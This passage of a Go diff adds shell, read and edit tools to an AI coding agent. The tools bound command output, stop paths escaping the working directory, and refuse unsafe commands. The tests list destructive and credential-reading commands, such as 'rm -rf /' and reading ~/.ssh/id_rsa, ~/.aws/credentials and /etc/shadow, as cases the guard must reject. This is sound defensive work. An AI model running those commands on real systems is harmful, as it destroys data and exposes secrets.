func isASCIIAlpha(b byte) bool {
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
}
type boundedOutput struct {
Limit int
buf []byte
omitted int
}
func (b *boundedOutput) Write(p []byte) (int, error) {
if b.Limit <= 0 {
b.omitted += len(p)
return len(p), nil
}
remaining := b.Limit - len(b.buf)
if remaining <= 0 {
b.omitted += len(p)
return len(p), nil
}
if len(p) <= remaining {
b.buf = append(b.buf, p...)
return len(p), nil
}
writeLen := utf8SafePrefixLen(p[:remaining])
b.buf = append(b.buf, p[:writeLen]...)
b.omitted += len(p) - writeLen
return len(p), nil
}
func (b *boundedOutput) Len() int {
return len(b.buf) + b.omitted
}
func (b *boundedOutput) String(label string) string {
safeLen := utf8SafePrefixLen(b.buf)
content := string(b.buf[:safeLen])
omitted := b.omitted + len(b.buf) - safeLen
if omitted == 0 {
return content
}
return content + fmt.Sprintf("\n\n[%s truncated: omitted ~%d tokens]", label, approximateTokensFromBytes(omitted))
}
func utf8SafePrefixLen(p []byte) int {
if len(p) == 0 {
return 0
}
for i := 0; i < len(p); {
r, size := utf8.DecodeRune(p[i:])
if r == utf8.RuneError && size == 1 {
return i
}
i += size
}
return len(p)
}
func approximateTokensFromBytes(n int) int {
if n <= 0 {
return 0
}
return max(1, (n+3)/4)
}
+246
View File
@@ -0,0 +1,246 @@
package tools
import (
"context"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"unicode/utf8"
"github.com/ollama/ollama/agent"
)
func TestBashReportsFinalWorkingDir(t *testing.T) {
root := t.TempDir()
subdir := filepath.Join(root, "sub")
if err := os.Mkdir(subdir, 0o755); err != nil {
t.Fatal(err)
}
result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
})
if err != nil {
t.Fatal(err)
}
wantDir, err := filepath.EvalSymlinks(subdir)
if err != nil {
t.Fatal(err)
}
if result.WorkingDir != wantDir {
t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
}
if !strings.Contains(result.Content, "sub") {
t.Fatalf("content = %q, want pwd output", result.Content)
}
}
func TestBashBoundsOutputWhileRunning(t *testing.T) {
result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "[stdout truncated: omitted ~") || !strings.Contains(result.Content, " tokens]") {
t.Fatalf("content = %q, want stdout truncation marker", result.Content)
}
if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
t.Fatalf("captured x count = %d, want %d", count, want)
}
if len(result.Content) > maxBashOutputBytes+200 {
t.Fatalf("content length = %d, want bounded output", len(result.Content))
}
}
func TestBoundedOutputTruncatesAtUTF8Boundary(t *testing.T) {
var out boundedOutput
out.Limit = len([]byte("abc")) + 1
if _, err := out.Write([]byte("abcédef")); err != nil {
t.Fatal(err)
}
content := out.String("stdout")
if !utf8.ValidString(content) {
t.Fatalf("content is not valid UTF-8: %q", content)
}
if strings.ContainsRune(content, utf8.RuneError) {
t.Fatalf("content contains replacement rune: %q", content)
}
if !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
t.Fatalf("content = %q, want complete ASCII prefix and truncation marker", content)
}
}
func TestBoundedOutputKeepsCompleteUTF8AtBoundary(t *testing.T) {
var out boundedOutput
out.Limit = len([]byte("abcé"))
if _, err := out.Write([]byte("abcédef")); err != nil {
t.Fatal(err)
}
if content := out.String("stdout"); !strings.HasPrefix(content, "abcé\n\n[stdout truncated:") {
t.Fatalf("content = %q, want complete UTF-8 prefix", content)
}
}
func TestBoundedOutputTrimsTrailingPartialUTF8(t *testing.T) {
var out boundedOutput
out.Limit = 4
if _, err := out.Write([]byte{'a', 'b', 'c', 0xc3}); err != nil {
t.Fatal(err)
}
if _, err := out.Write([]byte{0xa9}); err != nil {
t.Fatal(err)
}
if content := out.String("stdout"); !utf8.ValidString(content) || !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
t.Fatalf("content = %q, want valid UTF-8 with partial suffix trimmed", content)
}
}
func TestUTF8SafePrefixRejectsMalformedLeadByte(t *testing.T) {
input := []byte{'a', 0xc0, 0x80, 'b'}
if got := utf8SafePrefixLen(input); got != 1 {
t.Fatalf("safe prefix length = %d, want 1", got)
}
}
func TestBoundedOutputDropsMalformedUTF8(t *testing.T) {
var out boundedOutput
out.Limit = 4
if _, err := out.Write([]byte{'a', 0xc0, 0x80, 'b'}); err != nil {
t.Fatal(err)
}
content := out.String("stdout")
if !utf8.ValidString(content) {
t.Fatalf("content is not valid UTF-8: %q", content)
}
if strings.ContainsRune(content, utf8.RuneError) {
t.Fatalf("content contains replacement rune: %q", content)
}
if !strings.HasPrefix(content, "a\n\n[stdout truncated:") {
t.Fatalf("content = %q, want valid prefix and truncation marker", content)
}
}
func TestBashReportsCanceledCommand(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
cancel()
result, err := (&Bash{}).Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "Error: command was canceled") {
t.Fatalf("content = %q, want canceled message", result.Content)
}
if strings.Contains(result.Content, "Exit code: -1") {
t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
}
}
func TestRejectUnsafeShellCommand(t *testing.T) {
tests := []struct {
name string
command string
wantErr bool
}{
{name: "rm root", command: "rm -rf /", wantErr: true},
{name: "sudo rm root", command: "sudo rm -rf -- /", wantErr: true},
{name: "rm home", command: "rm -fr $HOME", wantErr: true},
{name: "rm root wildcard", command: "rm -rf /*", wantErr: true},
{name: "rm system subdir", command: "rm -rf /etc/ssh", wantErr: true},
{name: "rm cwd", command: "rm -rf .", wantErr: true},
{name: "powershell remove root", command: `Remove-Item -Recurse -Force C:\`, wantErr: true},
{name: "powershell remove system subdir", command: `Remove-Item -Recurse -Force C:\Windows\Temp`, wantErr: true},
{name: "ssh private key", command: "cat ~/.ssh/id_rsa", wantErr: true},
{name: "aws credentials", command: "Get-Content $HOME/.aws/credentials", wantErr: true},
{name: "shadow", command: "head /etc/shadow", wantErr: true},
{name: "delete build dir", command: "rm -rf build", wantErr: false},
{name: "read project file", command: "cat README.md", wantErr: false},
{name: "mention key text", command: "rg id_rsa docs", wantErr: false},
{name: "env example", command: "cat .env.example", wantErr: false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := rejectUnsafeShellCommand(tt.command)
if tt.wantErr && err == nil {
t.Fatal("expected unsafe command to be rejected")
}
if !tt.wantErr && err != nil {
t.Fatalf("command rejected: %v", err)
}
})
}
}
func TestBashRejectsUnsafeCommandBeforeExecution(t *testing.T) {
_, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": "rm -rf /",
})
if err == nil || !strings.Contains(err.Error(), "refusing to run unsafe command") {
t.Fatalf("err = %v, want unsafe command rejection", err)
}
}
func shellTestCommand(unix, windows string) string {
if runtime.GOOS == "windows" {
return windows
}
return unix
}
func shellTestCapturedXCount() int {
if runtime.GOOS == "windows" {
return maxBashOutputBytes
}
return maxBashOutputBytes / 2
}
func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
dir := t.TempDir()
cwdFile := filepath.Join(dir, "cwd")
notDir := filepath.Join(dir, "file.txt")
if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != "" {
t.Fatalf("regular file cwd = %q, want empty", got)
}
if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != "" {
t.Fatalf("missing cwd = %q, want empty", got)
}
if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != dir {
t.Fatalf("directory cwd = %q, want %q", got, dir)
}
}
func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("windows path normalization")
}
got := normalizeBashWorkingDir("/c/Users/jdoe/project")
want := filepath.Clean(`C:\Users\jdoe\project`)
if got != want {
t.Fatalf("working dir = %q, want %q", got, want)
}
}
+49
View File
@@ -0,0 +1,49 @@
//go:build !windows
package tools
import (
"context"
"os/exec"
"strings"
"syscall"
)
func shellToolName() string {
return "bash"
}
func shellToolDescription() string {
return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
}
func shellCommandDescription() string {
return "The bash command to execute."
}
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
cmd := exec.CommandContext(ctx, "bash", "-c", script)
configureBashCommand(cmd)
return cmd
}
func shellQuote(value string) string {
return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
}
func configureBashCommand(cmd *exec.Cmd) {
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
}
func runBashCommand(cmd *exec.Cmd) error {
return cmd.Run()
}
func killBashCommand(cmd *exec.Cmd) error {
if cmd == nil || cmd.Process == nil {
return nil
}
_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
return nil
}
+40
View File
@@ -0,0 +1,40 @@
//go:build !windows
package tools
import (
"context"
"os/exec"
"strings"
"testing"
"time"
"github.com/ollama/ollama/agent"
)
func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
cmd := exec.Command("bash", "-c", "true")
configureBashCommand(cmd)
if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
t.Fatalf("configureBashCommand should start bash in a new process group")
}
}
func TestBashWaitDelayBoundsBackgroundOutputPipe(t *testing.T) {
start := time.Now()
result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": "sleep 5 & echo done",
})
if err != nil {
t.Fatal(err)
}
if elapsed := time.Since(start); elapsed > bashWaitDelay+2*time.Second {
t.Fatalf("command elapsed = %s, want bounded near %s", elapsed, bashWaitDelay)
}
if !strings.Contains(result.Content, "done") {
t.Fatalf("content = %q, want command output", result.Content)
}
if !strings.Contains(result.Content, "output pipes did not close") {
t.Fatalf("content = %q, want wait delay message", result.Content)
}
}
+134
View File
@@ -0,0 +1,134 @@
//go:build windows
package tools
import (
"context"
"os/exec"
"strings"
"sync"
"unsafe"
"golang.org/x/sys/windows"
)
var bashJobHandles sync.Map
func shellToolName() string {
return "powershell"
}
func shellToolDescription() string {
return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
}
func shellCommandDescription() string {
return "The PowerShell command to execute."
}
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
return exec.CommandContext(
ctx,
"powershell.exe",
"-NoLogo",
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
powerShellCommandScript(command, cwdPath),
)
}
func powerShellCommandScript(command, cwdPath string) string {
cwdPath = powerShellSingleQuote(cwdPath)
return strings.Join([]string{
"$__ollama_status = 0",
". {",
"try {",
command,
" $__ollama_success = $?",
" $__ollama_last_exit = $global:LASTEXITCODE",
" if ($__ollama_success) {",
" $__ollama_status = 0",
" } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
" $__ollama_status = $__ollama_last_exit",
" } else {",
" $__ollama_status = 1",
" }",
"} catch {",
" Write-Error $_",
" $__ollama_status = 1",
"} finally {",
" try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
"}",
"} | Out-String -Stream -Width 4096",
"exit $__ollama_status",
}, "\n")
}
func powerShellSingleQuote(value string) string {
return "'" + strings.ReplaceAll(value, "'", "''") + "'"
}
func runBashCommand(cmd *exec.Cmd) error {
if err := cmd.Start(); err != nil {
return err
}
if job, err := createBashJob(cmd.Process.Pid); err == nil {
bashJobHandles.Store(cmd.Process.Pid, job)
defer releaseBashJob(cmd.Process.Pid)
}
return cmd.Wait()
}
func killBashCommand(cmd *exec.Cmd) error {
if cmd == nil || cmd.Process == nil {
return nil
}
releaseBashJob(cmd.Process.Pid)
_ = cmd.Process.Kill()
return nil
}
func createBashJob(pid int) (windows.Handle, error) {
job, err := windows.CreateJobObject(nil, nil)
if err != nil {
return 0, err
}
info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
if _, err := windows.SetInformationJobObject(
job,
windows.JobObjectExtendedLimitInformation,
uintptr(unsafe.Pointer(&info)),
uint32(unsafe.Sizeof(info)),
); err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
if err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
defer windows.CloseHandle(process)
if err := windows.AssignProcessToJobObject(job, process); err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
return job, nil
}
func releaseBashJob(pid int) {
value, ok := bashJobHandles.LoadAndDelete(pid)
if !ok {
return
}
if job, ok := value.(windows.Handle); ok {
_ = windows.CloseHandle(job)
}
}
+15
View File
@@ -0,0 +1,15 @@
//go:build windows
package tools
import (
"strings"
"testing"
)
func TestPowerShellCommandScriptUsesWideOutString(t *testing.T) {
script := powerShellCommandScript("Get-ChildItem", `C:\cwd.txt`)
if !strings.Contains(script, "Out-String -Stream -Width 4096") {
t.Fatalf("script = %q, want explicit Out-String width", script)
}
}
+521
View File
@@ -0,0 +1,521 @@
package tools
import (
"bufio"
"context"
"fmt"
"io"
"os"
"path/filepath"
"strconv"
"strings"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
const (
maxReadBytes = 200000
)
type Read struct{}
func (r *Read) Name() string {
return "read"
}
func (r *Read) Description() string {
return "Read a text file from the current working directory."
}
func (r *Read) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("path", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Path to the file to read, relative to the working directory.",
})
props.Set("start", api.ToolProperty{
Type: api.PropertyType{"integer"},
Description: "Optional 1-based line to start reading from.",
})
props.Set("end", api.ToolProperty{
Type: api.PropertyType{"integer"},
Description: "Optional 1-based inclusive line to stop reading at.",
})
return api.ToolFunction{
Name: r.Name(),
Description: r.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"path"},
},
}
}
func (r *Read) RequiresApproval(map[string]any) bool {
return true
}
func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
path, ok := args["path"].(string)
if !ok || strings.TrimSpace(path) == "" {
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
}
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
if err != nil {
return agent.ToolResult{}, err
}
defer file.Close()
selection, err := readSelectionFromArgs(args)
if err != nil {
return agent.ToolResult{}, err
}
if !selection.enabled && info.Size() > maxReadBytes {
return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
}
select {
case <-ctx.Done():
return agent.ToolResult{}, ctx.Err()
default:
}
var content string
if selection.enabled {
content, err = readLineSelection(file, selection)
} else {
var contentBytes []byte
contentBytes, err = readAllWithinLimit(file, maxReadBytes)
content = string(contentBytes)
}
if err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: content}, nil
}
type Edit struct{}
func (e *Edit) Name() string {
return "edit"
}
func (e *Edit) Description() string {
return "Edit a text file in the current working directory by replacing exact text."
}
func (e *Edit) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("path", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Path to the file to edit, relative to the working directory.",
})
props.Set("old_text", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Exact text to replace.",
})
props.Set("new_text", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Replacement text.",
})
props.Set("replace_all", api.ToolProperty{
Type: api.PropertyType{"boolean"},
Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
})
return api.ToolFunction{
Name: e.Name(),
Description: e.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"path", "old_text", "new_text"},
},
}
}
func (e *Edit) RequiresApproval(map[string]any) bool {
return true
}
func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
path, ok := args["path"].(string)
if !ok || strings.TrimSpace(path) == "" {
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
}
oldText, ok := args["old_text"].(string)
if !ok || oldText == "" {
return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
}
newText, ok := args["new_text"].(string)
if !ok {
return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
}
replaceAll, _ := args["replace_all"].(bool)
if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
return agent.ToolResult{}, err
}
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
if err != nil {
return agent.ToolResult{}, err
}
if info.Size() > maxReadBytes {
file.Close()
return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
}
select {
case <-ctx.Done():
file.Close()
return agent.ToolResult{}, ctx.Err()
default:
}
contentBytes, err := readAllWithinLimit(file, maxReadBytes)
if closeErr := file.Close(); err == nil && closeErr != nil {
err = closeErr
}
if err != nil {
return agent.ToolResult{}, err
}
content := string(contentBytes)
matches := strings.Count(content, oldText)
if matches == 0 {
return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
}
if matches > 1 && !replaceAll {
return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
}
var updated string
if replaceAll {
updated = strings.ReplaceAll(content, oldText, newText)
} else {
updated = strings.Replace(content, oldText, newText, 1)
}
if len(updated) > maxReadBytes {
return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
}
if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
}
func cleanRelativePath(path string) (string, error) {
path = strings.TrimSpace(path)
if path == "" {
return "", fmt.Errorf("path parameter is required")
}
if filepath.IsAbs(path) {
return "", fmt.Errorf("absolute paths are not allowed")
}
cleaned := filepath.Clean(path)
if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
return "", fmt.Errorf("path escapes working directory")
}
return cleaned, nil
}
func openRegularFile(workingDir, path string) (*os.File, os.FileInfo, error) {
rel, err := cleanRelativePath(path)
if err != nil {
return nil, nil, err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return nil, nil, err
}
defer root.Close()
if _, err := regularRootFileInfo(root, rel, path); err != nil {
return nil, nil, err
}
file, err := root.Open(rel)
if err != nil {
return nil, nil, rootPathError(err)
}
info, err := file.Stat()
if err != nil {
file.Close()
return nil, nil, err
}
if err := rejectNonRegularFile(path, info); err != nil {
file.Close()
return nil, nil, err
}
return file, info, nil
}
func regularRootFileInfo(root *os.Root, rel, path string) (os.FileInfo, error) {
info, err := root.Lstat(rel)
if err != nil {
return nil, rootPathError(err)
}
if info.Mode()&os.ModeSymlink != 0 {
info, err = root.Stat(rel)
if err != nil {
return nil, rootPathError(err)
}
}
if err := rejectNonRegularFile(path, info); err != nil {
return nil, err
}
return info, nil
}
func rejectNonRegularFile(path string, info os.FileInfo) error {
if info.IsDir() {
return fmt.Errorf("%s is a directory", path)
}
if !info.Mode().IsRegular() {
return fmt.Errorf("%s is not a regular file", path)
}
return nil
}
func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
rel, err := cleanRelativePath(path)
if err != nil {
return err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return err
}
defer root.Close()
if err := rejectRootFinalSymlink(root, rel, path); err != nil {
return err
}
parent, name := filepath.Split(rel)
tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
for i := 0; ; i++ {
candidateName := tmpBase
if i > 0 {
candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
}
candidate := filepath.Join(parent, candidateName)
file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
if os.IsExist(err) {
continue
}
if err != nil {
return rootPathError(err)
}
if err := file.Chmod(perm); err != nil {
closeErr := file.Close()
_ = root.Remove(candidate)
if closeErr != nil {
return closeErr
}
return err
}
writeErr := writeAllAndSync(file, data)
closeErr := file.Close()
if writeErr != nil || closeErr != nil {
_ = root.Remove(candidate)
if writeErr != nil {
return writeErr
}
return closeErr
}
if err := root.Rename(candidate, rel); err != nil {
_ = root.Remove(candidate)
return rootPathError(err)
}
return nil
}
}
func rejectFinalSymlink(workingDir, path string) error {
rel, err := cleanRelativePath(path)
if err != nil {
return err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return err
}
defer root.Close()
return rejectRootFinalSymlink(root, rel, path)
}
func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
info, err := root.Lstat(rel)
if err != nil {
return rootPathError(err)
}
if info.Mode()&os.ModeSymlink != 0 {
return fmt.Errorf("%s is a symlink; edit the target file directly", path)
}
return nil
}
func rootPathError(err error) error {
if err != nil && strings.Contains(err.Error(), "path escapes") {
return fmt.Errorf("path escapes working directory")
}
return err
}
func openWorkingRoot(workingDir string) (*os.Root, error) {
base, err := workingDirAbs(workingDir)
if err != nil {
return nil, err
}
return os.OpenRoot(base)
}
func writeAllAndSync(file *os.File, data []byte) error {
if _, err := file.Write(data); err != nil {
return err
}
return file.Sync()
}
func readAllWithinLimit(reader io.Reader, limit int) ([]byte, error) {
if limit < 0 {
limit = 0
}
content, err := io.ReadAll(io.LimitReader(reader, int64(limit)+1))
if err != nil {
return nil, err
}
if len(content) > limit {
return nil, fmt.Errorf("content is too large (%d byte limit)", limit)
}
return content, nil
}
func workingDirAbs(workingDir string) (string, error) {
base := workingDir
if base == "" {
var err error
base, err = os.Getwd()
if err != nil {
return "", err
}
}
return canonicalPath(base)
}
func canonicalPath(path string) (string, error) {
abs, err := filepath.Abs(path)
if err != nil {
return "", err
}
resolved, err := filepath.EvalSymlinks(abs)
if err == nil {
return resolved, nil
}
return abs, nil
}
type readSelection struct {
enabled bool
start int
end int
}
func readSelectionFromArgs(args map[string]any) (readSelection, error) {
selection := readSelection{start: 1}
if start, ok, err := intReadArg(args, "start"); err != nil {
return readSelection{}, err
} else if ok {
selection.enabled = true
selection.start = start
}
if end, ok, err := intReadArg(args, "end"); err != nil {
return readSelection{}, err
} else if ok {
selection.enabled = true
selection.end = end
}
if !selection.enabled {
return selection, nil
}
if selection.start < 1 {
return readSelection{}, fmt.Errorf("start must be greater than 0")
}
if selection.end > 0 && selection.end < selection.start {
return readSelection{}, fmt.Errorf("end must be greater than or equal to start")
}
return selection, nil
}
func readLineSelection(file *os.File, selection readSelection) (string, error) {
reader := bufio.NewReader(file)
var b strings.Builder
for lineNo := 1; ; {
line, err := reader.ReadSlice('\n')
if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
if b.Len()+len(line) > maxReadBytes {
return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
}
b.Write(line)
}
if err != nil {
if err == bufio.ErrBufferFull {
continue
}
if err == io.EOF {
break
}
return "", err
}
if selection.end > 0 && lineNo >= selection.end {
break
}
lineNo++
}
return b.String(), nil
}
func intReadArg(args map[string]any, key string) (int, bool, error) {
value, ok := args[key]
if !ok {
return 0, false, nil
}
switch v := value.(type) {
case int:
return v, true, nil
case int64:
return int(v), true, nil
case float64:
if v != float64(int(v)) {
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
return int(v), true, nil
case string:
v = strings.TrimSpace(v)
if v == "" {
return 0, false, nil
}
n, err := strconv.Atoi(v)
if err != nil {
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
return n, true, nil
default:
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
}
func plural(n int) string {
if n == 1 {
return ""
}
return "s"
}
+297
View File
@@ -0,0 +1,297 @@
package tools
import (
"context"
"io"
"os"
"path/filepath"
"strings"
"testing"
"github.com/ollama/ollama/agent"
)
func TestEditReplacesUniqueText(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "hello",
"new_text": "hi",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "Updated note.txt") {
t.Fatalf("result = %q", result.Content)
}
content, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if string(content) != "hi world\n" {
t.Fatalf("content = %q", content)
}
}
func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "same",
"new_text": "other",
})
if err == nil {
t.Fatal("expected ambiguous edit to fail")
}
if !strings.Contains(err.Error(), "matched 2 times") {
t.Fatalf("err = %v", err)
}
}
func TestEditRejectsEscapingPath(t *testing.T) {
dir := t.TempDir()
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "../outside.txt",
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected escaping path to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
}
func TestEditRejectsSymlinkEscape(t *testing.T) {
dir := t.TempDir()
outside := t.TempDir()
if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
t.Skipf("symlinks unavailable: %v", err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": filepath.Join("link", "note.txt"),
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected symlink escape to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
if err != nil {
t.Fatal(err)
}
if string(content) != "old\n" {
t.Fatalf("outside content changed to %q", content)
}
}
func TestEditRejectsFinalSymlink(t *testing.T) {
dir := t.TempDir()
target := filepath.Join(dir, "target.txt")
if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
t.Fatal(err)
}
link := filepath.Join(dir, "link.txt")
if err := os.Symlink("target.txt", link); err != nil {
t.Skipf("symlinks unavailable: %v", err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "link.txt",
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected final symlink edit to fail")
}
if !strings.Contains(err.Error(), "is a symlink") {
t.Fatalf("err = %v", err)
}
content, err := os.ReadFile(target)
if err != nil {
t.Fatal(err)
}
if string(content) != "old\n" {
t.Fatalf("target content changed to %q", content)
}
info, err := os.Lstat(link)
if err != nil {
t.Fatal(err)
}
if info.Mode()&os.ModeSymlink == 0 {
t.Fatalf("link mode = %v, want symlink", info.Mode())
}
}
func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
root := t.TempDir()
subdir := filepath.Join(root, "sub")
if err := os.Mkdir(subdir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
"path": "../note.txt",
})
if err == nil {
t.Fatal("expected parent path to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
}
func TestReadRequiresApproval(t *testing.T) {
if !agent.ToolRequiresApproval((&Read{}), map[string]any{"path": "note.txt"}) {
t.Fatal("read should require approval")
}
}
func TestReadDefaultsToEntireFile(t *testing.T) {
dir := t.TempDir()
content := "one\ntwo\nthree\n"
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
})
if err != nil {
t.Fatal(err)
}
if result.Content != content {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadStartEnd(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 2,
"end": 3,
})
if err != nil {
t.Fatal(err)
}
